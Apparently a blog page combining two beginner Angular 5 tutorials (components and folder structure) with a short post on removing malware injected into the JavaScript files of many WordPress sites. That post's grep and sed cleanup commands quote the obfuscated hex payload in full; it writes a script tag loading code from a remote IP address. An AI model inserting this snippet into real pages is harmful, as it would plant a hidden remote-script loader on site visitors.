Angular 5 Components

March 03, 2018
Angular 5 Components

Angular 5 components reside within the /src/app folder -

What are Components?
Components are the most basic building block of an UI in your Angular App. An Angular application is a tree of Angular components. Angular components are a subset of directives. Unlike directives, components always have a template and only one component can be instantiated per an element in a template.

Creating a New Component
You can create a component using the Angular CLI command -
ng generate component Your-Component-Name
ng g component home
Output -

  create src/app/home/home.component.html
  create src/app/home/home.component.spec.ts
  create src/app/home/home.component.ts
  create src/app/home/home.component.scss
  update src/app/app.module.ts
Finally created a new component named home successfully. Its time to run the app.
ng serve

Angular 5 Folder Structure

March 03, 2018
Angular 5 Folder Structure

When we install a new Angular 5 App it creates multiple files and folders like the screenshot below -


e2e stands for "end to end", we can write the end to end test here.
The end to end test is basically an automated test that simulates a real user.


In this folder, you can find all the third party libraries on which the application may depend.
This folder is purely for development.


This folder contains the actual source code for developers.

   - app folder
    Which contains all the “modules” and “components” of your application.
    Every application has at least one “module” and one “component”.

   - assets folder
    Where we can store static assets of our application for example images, css, js etc.

   - environment folder
    Where we can store configuration settings for different environments. Basically, this folder contains two files,

        environment.prod.ts file for the production environment.
        environment.ts file for the development environment.

favicon.ico is an icon file of your app.

index.html file contains our Angular application. All other pages are dynamically inserted into the page.

main.ts file is a TypeScript file. It is the starting point of our application.

pollyfills.ts file basically imports scripts required for running Angular app because angular framework uses the features of javascript which are not available in the current version of javascript supported by the most browser.

style.css is where we can add global styles for our applications.

test.ts file is used for setting the testing environment

angular-cli.json is standard configuration file of your application

editorconfig file is used when you are working in a team environment.

gitignore file is used for exporting files and folders to/from your git repository.

Karma.conf.js file is used to store the setting of Karma i.e. test cases.

package.json file is a standard file. It holds thelike name of the project, versions information, dependencies and dev-dependencies settings.

tsconfig.json file has a bunch of settings of TypeScript compiler.

tslint.json file checks your TypeScript code for readability, maintainability and functionality errors.

I was recently cleaning a server for malware hosting 99+ WordPress Websites. I notice the similar kind of injection in all the Javascript files.

I have scanned the server with command  -
grep -rnw . -e '_0xaae8'
To remove the malware command line I used the command -
grep -rl  '_0xaae8' . | xargs sed -i 's/var _0xaae8=["","\x6A\x6F\x69\x6E","\x72\x65\x76\x65\x72\x73\x65","\x73\x70\x6C\x69\x74","\x3E\x74\x70\x69\x72\x63\x73\x2F\x3C\x3E\x22\x73\x6A\x2E\x79\x72\x65\x75\x71\x6A\x2F\x38\x37\x2E\x36\x31\x31\x2E\x39\x34\x32\x2E\x34\x33\x31\x2F\x2F\x3A\x70\x74\x74\x68\x22\x3D\x63\x72\x73\x20\x74\x70\x69\x72\x63\x73\x3C","\x77\x72\x69\x74\x65"];document[_0xaae8[5]](_0xaae8[4][_0xaae8[3]](_0xaae8[0])[_0xaae8[2]]()[_0xaae8[1]](_0xaae8[0]))/ /g'
But later I have upgraded the WordPress to latest version and implement the security. Also uploaded the fresh jQuery library files.
